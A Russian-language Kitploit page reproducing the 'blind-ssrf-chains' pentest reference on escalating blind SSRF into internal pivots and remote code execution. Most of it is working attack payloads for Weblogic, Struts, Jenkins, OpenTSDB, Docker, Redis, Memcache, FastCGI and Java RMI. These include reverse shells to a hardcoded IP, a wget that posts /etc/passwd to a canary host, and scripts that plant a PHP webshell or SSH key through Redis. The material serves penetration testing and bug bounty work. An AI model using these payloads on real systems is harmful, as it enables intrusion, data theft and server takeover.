Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
blind-ssrf-chains — Исчерпывающий список всех возможных способов объединить вашу Blind SSRF-уязвимость в цепочку | Kitploit
Инструменты/GitHubGitHub/assetnote/blind-ssrf-chains
РазведкаАнализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на ПроникновениеБезопасность облачных средОбучение и ОбразованиеПодобранные Ресурсы
GitHubassetnote/blind-ssrf-chains

blind-ssrf-chains

Исчерпывающий список всех возможных способов объединить вашу Blind SSRF-уязвимость в цепочку

Репозиторий
9861224 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Введение

Что такое Server Side Request Forgery (SSRF)?

Server Side Request Forgery происходит, когда вы можете заставить сервер выполнять произвольные запросы от вашего имени. Поскольку запросы выполняются сервером, возможно получение доступа к внутренним ресурсам из-за положения сервера в сети. В облачных средах SSRF представляет более серьёзный риск из-за наличия metadata endpoints, которые могут содержать чувствительные учётные данные или секреты.

Слепой SSRF

При эксплуатации server-side request forgery мы часто можем оказаться в ситуации, когда ответ прочитать невозможно. В индустрии такое поведение часто называют «Слепой SSRF» (Blind SSRF). В таких ситуациях как доказать значимость уязвимости? Это интересное обсуждение было начато Джастином Гарднером в Twitter:

I've been finding a large amount of Blind SSRFs recently. What kind of one-shot RCE's have you guys used as pivots for these in the past? I've got access to some Kafka and a bunch of other things. @nnwakelam @thedawgyg

— Justin Gardner (@Rhynorater) January 13, 2021

Если вы можете получить доступ к внутренним ресурсам, существует ряд потенциальных цепочек эксплойтов, которые можно выполнить для доказательства воздействия. В этом посте блога мы постараемся подробно рассмотреть каждую известную цепочку эксплойтов при использовании слепого SSRF, и он будет обновляться по мере обнаружения и распространения новых техник.

Если мы пропустили какие-либо техники, пожалуйста, отправьте нам твит или личное сообщение: @assetnote, и мы добавим их в этот блог.

SSRF-канарейки

I tend to call them SSRF canaries, when chaining a blind SSRF to another SSRF internally which makes an additional call externally, or by an app-specific open redir or blind XXE. Confluence, Artifactory, Jenkins and JAMF have some that works well.

— Frans Rosén (@fransrosen) January 13, 2021

Чтобы подтвердить, что вы можете взаимодействовать с внутренними сервисами или приложениями, вы можете использовать «SSRF-канарейки».

Это когда мы можем запросить внутренний URL, который выполняет другой SSRF и отправляет запрос на ваш хост-канарейку. Если вы получите запрос на ваш хост-канарейку, это означает, что вы успешно достигли внутреннего сервиса, который также способен совершать исходящие запросы.

Это эффективный способ проверить, имеет ли SSRF-уязвимость доступ к внутренним сетям или приложениям, а также подтвердить наличие определённого программного обеспечения во внутренней сети. Вы также можете потенциально переместиться в более чувствительные части внутренней сети с помощью SSRF-канарейки, в зависимости от того, где она находится.

Использование DNS-источников данных и AltDNS для поиска внутренних хостов

С целью поиска как можно большего числа внутренних хостов можно использовать DNS-источники данных, чтобы найти все записи, указывающие на внутренние хосты.

В облачных средах мы часто видим ELB, которые указывают на хосты внутри внутреннего VPC. В зависимости от того, в каком VPC находится целевой ресурс, возможно получение доступа к другим хостам в том же VPC.

Например, рассмотрим следующий хост, обнаруженный с помощью DNS-источников данных:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82

root@kitploit:~
Можно предположить, что `es` означает Elasticsearch, и затем выполнить дальнейшие атаки на этот хост. Также можно распылить все эти слепые SSRF-пейлоады по всем «внутренним» хостам, которые были обнаружены этим методом. Это часто эффективно.

Чтобы найти больше внутренних хостов, я рекомендую взять все ваши DNS-данные и затем использовать что-то вроде [AltDNS](https://github.com/infosec-au/altdns) для генерации перестановок, а затем разрешать их с помощью [быстрого DNS-брутфорсера](https://github.com/blechschmidt/massdns).

После этого определите все вновь обнаруженные внутренние хосты и используйте их как часть вашей цепочки слепого SSRF.

## Утечки по побочным каналам

При эксплуатации уязвимостей слепого SSRF вы можете получить утечку некоторой информации об ответе. Например, предположим, что у вас есть слепой SSRF через XXE — сообщения об ошибках могут указывать, был ли:

- Ответ был возвращён 

`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`

в отличие от

- Хост и порт недоступны

`Error parsing request: System.Net.WebException: Unable to connect to the remote server`

Аналогично, помимо XXE, веб-приложение также может иметь утечку по побочному каналу, которую можно обнаружить, изучив различия в:

- **Код состояния ответа**: 

Онлайн внутренний ресурс:порт отвечает `200 OK`, а офлайн внутренний ресурс:порт — `500 Internal Server Error`

- **Содержимое ответа**: 

Размер ответа в байтах меньше или больше в зависимости от того, доступен ли URL, который вы пытаетесь запросить.

- **Время ответа**: 

Время ответа больше или меньше в зависимости от того, доступен ли URL, который вы пытаетесь запросить.

---------------

# Техники
**Возможно через HTTP(s)**

- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [Другие продукты Atlassian](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)

**Возможно через Gopher**

- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)

**Инструменты**

- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)

----------------------------------

**Возможно через HTTP(s)**

<div id="elasticsearch"></div>

## Elasticsearch

**Обычно используемый порт: 9200**

При внутреннем развертывании Elasticsearch обычно не требует аутентификации. 

Если у вас есть частично слепой SSRF, при котором вы можете определить код состояния, проверьте, возвращают ли следующие конечные точки код 200:```http
/_cluster/health
/_cat/indices
/_cat/health

Если у вас есть слепой SSRF, при котором можно отправлять POST-запросы, вы можете остановить экземпляр Elasticsearch, отправив POST-запрос на следующий путь:

Примечание: API _shutdown был удалён в Elasticsearch версии 2.x и выше. Это работает только в Elasticsearch 1.6 и ниже:```http /_shutdown /_cluster/nodes/_master/_shutdown /_cluster/nodes/_shutdown /_cluster/nodes/_all/_shutdown

root@kitploit:~
<div id="weblogic"></div>

## Weblogic

**Часто используемые порты: 80, 443 (SSL), 7001, 8888**

**SSRF-канарейка: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Это также работает через GET:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

root@kitploit:~
Этот endpoint также уязвим к CRLF-инъекции:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

Приведет к следующему запросу:``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive

sdf
root@kitploit:~
**SSRF Canary: CVE-2020-14883**

Взято [отсюда](https://forum.90sec.com/t/topic/1412).

Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

root@kitploit:~
<div id="consul"></div>

## Hashicorp Consul

**Часто используемые порты: 8500, 8501 (SSL)**

Разбор можно найти [здесь](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).

<div id="shellshock"></div>

## Shellshock

**Часто используемые порты: 80, 443 (SSL), 8080**

Для эффективного тестирования Shellshock может потребоваться добавить заголовок, содержащий payload. Следующие CGI-пути стоит попробовать:

Короткий список CGI-путей для тестирования:

[Gist с путями](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).

**SSRF Canary: Shellshock через User Agent**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

Часто используемые порты: 80, 8080, 8888, 8082

См. справочник по API для Apache Druid здесь.

Если вы можете просмотреть код состояния, проверьте следующие пути, чтобы увидеть, возвращают ли они код состояния 200:```bash /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus

root@kitploit:~
Задачи завершения работы требуют, чтобы вы угадывали идентификаторы задач или имя источника данных:```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

Остановка супервизоров на Apache Druid Overlords:```bash /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown

root@kitploit:~
<div id="solr"></div>

## Apache Solr

**Часто используемый порт: 8983**

**SSRF-канарейка: параметр Shards**

<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">В дополнение к тому, что говорит shubham — сканирование Solr относительно простое. Существует параметр shards=, который позволяет перебрасывать SSRF к SSRF, чтобы вслепую проверить, что вы попали в экземпляр Solr.</p>&mdash; Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">13 января 2021 г.</a></blockquote>

Взято из [здесь](https://github.com/veracode-research/solr-injection).```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""}

root@kitploit:~
**RCE через dataImportHandler**

[Исследование RCE через dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)

<div id="peoplesoft"></div>

## PeopleSoft

**Обычно используемые порты: 80,443 (SSL)**

Взято из этого исследования [здесь](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).

**SSRF-канарейка: XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

SSRF Canary: XXE #2```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ...

root@kitploit:~
<div id="struts"></div>

## Apache Struts

**Часто используемые порты: 80,443 (SSL),8080,8443 (SSL)**

Взято [отсюда](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).

**SSRF Canary: Struts2-016**:

Добавьте это в конец каждой известной вам внутренней конечной точки/URL:```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

Обычно используемые порты: 80,443 (SSL),8080,8443 (SSL)

Взято отсюда.

SSRF-канарейка: развертывание WAR из URL```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

root@kitploit:~
<div id="confluence"></div>

## Confluence

**Обычно используемые порты: 80, 443 (SSL), 8080, 8443 (SSL)**

**SSRF-канарейка: Sharelinks (версии Confluence, выпущенные с ноября 2016 года и ранее)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Тикет безопасности Atlassian OAUTH-344```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

root@kitploit:~
<div id="jira"></div>

## Jira

**Обычно используемые порты: 80,443 (SSL),8080,8443 (SSL)**

**SSRF-канарейка: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**

[Тикет безопасности Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Тикет безопасности Atlassian JRASERVER-69793```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]

root@kitploit:~
<div id="atlassian-products"></div>

## Другие продукты Atlassian

**Часто используемые порты: 80,443 (SSL),8080,8443 (SSL)**

**SSRF-канарейка: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2

[Тикет безопасности Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

Часто используемый порт: 4242

Удалённое выполнение кода в OpenTSDB

SSRF-канарейка: curl через RCE```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

root@kitploit:~
[Удаленное выполнение кода в OpenTSDB 2.4.0](https://github.com/OpenTSDB/opentsdb/issues/2051)

**SSRF Canary: curl через RCE - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

Jenkins

Обычно используемые порты: 80,443 (SSL),8080,8888

Отличный разбор здесь.

SSRF Canary: CVE-2018-1000600```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

root@kitploit:~
**RCE**

Следуйте инструкциям здесь, чтобы добиться RCE через GET: [Взлом Jenkins, часть 2 — Злоупотребление метапрограммированием для неаутентифицированного RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

RCE через Groovy``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

root@kitploit:~
<div id="hystrix"></div>

## Hystrix Dashboard

**Часто используемые порты: 80,443 (SSL),8080**

Spring Cloud Netflix, версии 2.2.x до 2.2.4, версии 2.1.x до 2.1.6.

**SSRF Canary: CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

Часто используемые порты: 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF Canary: CVE-2019-6715

Это должен быть PUT-запрос:```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: {{Hostname}} Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

root@kitploit:~
**SSRF Canary**

Уведомление об этой уязвимости было опубликовано здесь: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html)

Этот PHP-код сгенерирует payload для вашего SSRF Canary хоста (замените `url` на ваш canary host):```php
<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

Docker

Часто используемые порты: 2375, 2376 (SSL)

Если у вас есть частично слепой SSRF, вы можете использовать следующие пути для проверки наличия Docker API:```bash /containers/json /secrets /services

root@kitploit:~
**RCE через запуск произвольного docker-образа**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

Замените alpine на произвольный образ, который вы хотите запустить в docker-контейнере.

Gitlab Prometheus Redis Exporter

Обычно используемые порты: 9121

Эта уязвимость затрагивает экземпляры Gitlab до версии 13.1.1. Согласно документации Gitlab Prometheus и его экспортеры включены по умолчанию, начиная с GitLab 9.0.

Эти экспортеры предоставляют отличный способ для атакующего совершить pivoting и атаковать другие сервисы, используя CVE-2020-13379. Одним из экспортеров, который легко эксплуатируется, является Redis Exporter.

Следующий endpoint позволит атакующему выгрузить все ключи на redis-сервере, переданном через параметр target:```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

root@kitploit:~
**Возможно через Gopher**

<div id="redis"></div>

## Redis

**Обычно используемый порт: 6379**

Рекомендуемое чтение:

- [Попытка взлома Redis через HTTP-запросы](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [SSRF-эксплойты против Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)

**RCE через Cron** - [Поверхности атак Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Gopher:```bash gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

root@kitploit:~
**RCE через загрузку шелла (PHP)** - [Сводка по Redis Getshell](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379" 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var" 
passwd=""

cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

RCE через authorized_keys - Сводка по Redis Getshell```python import urllib protocol="gopher://" ip="192.168.189.208" port="6379"

shell="\n\n\n\n"

sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd

if name=="main": for x in cmd: payload += urllib.quote(redis_format(x)) print payload

root@kitploit:~
**RCE на GitLab через протокол Git**

Отличный разбор от Liveoverflow [здесь](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).

Хотя для эксплуатации требовался аутентифицированный доступ к GitLab, я привожу здесь полезную нагрузку, поскольку протокол `git` может работать на цели, которую вы взламываете. Эта полезная нагрузка приведена для справки.```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

Обычно используемый порт: 11211

  • vBulletin Memcache RCE
  • GitHub Enterprise Memcache RCE
  • Пример полезной нагрузки Gopher для Memcache```bash gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a gopher://192.168.10.12:11211/%0d%0adelete ssrftest%0d%0a
root@kitploit:~
<div id="tomcat"></div>

## Apache Tomcat

**Часто используемые порты: 80,443 (SSL),8080,8443 (SSL)**

Эффективно только против Tomcat 6:

[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)

Разбор CTF с использованием этой техники:

[От XXE к RCE: разбор Pwn2Win CTF 2018](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)


<div id="fastcgi"></div>

## FastCGI

**Часто используемые порты: 80,443 (SSL)**

Это взято из [этой статьи](https://blog.chaitin.cn/gopher-attack-surfaces/).```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Java RMI

Часто используемые порты: 1090,1098,1099,1199,4443-4446,8999-9010,9999

Слепые уязвимости SSRF, позволяющие передавать произвольные байты (на основе gopher), можно использовать для выполнения десериализации или codebase-атак на стандартные компоненты Java RMI (RMI Registry, Distributed Garbage Collector, Activation System). Подробный разбор можно найти здесь. В следующем листинге показан пример генерации полезной нагрузки:```console $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]

root@kitploit:~
**Инструменты**

<div id="gopherus"></div>

## Gopherus

- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Запись в блоге о Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)

Этот инструмент генерирует Gopher-полезные нагрузки для:

- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache


<div id="remote-method-guesser"></div>

## remote-method-guesser

- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [Запись в блоге об использовании SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)

*remote-method-guesser* — это сканер уязвимостей *Java RMI*, поддерживающий атакующие операции для большинства распространённых уязвимостей *Java RMI*. Большинство доступных операций поддерживают опцию ``--ssrf`` для генерации *SSRF*-полезной нагрузки для запрошенной операции. Вместе с опцией ``--gopher`` можно напрямую генерировать готовые к использованию *gopher*-полезные нагрузки.


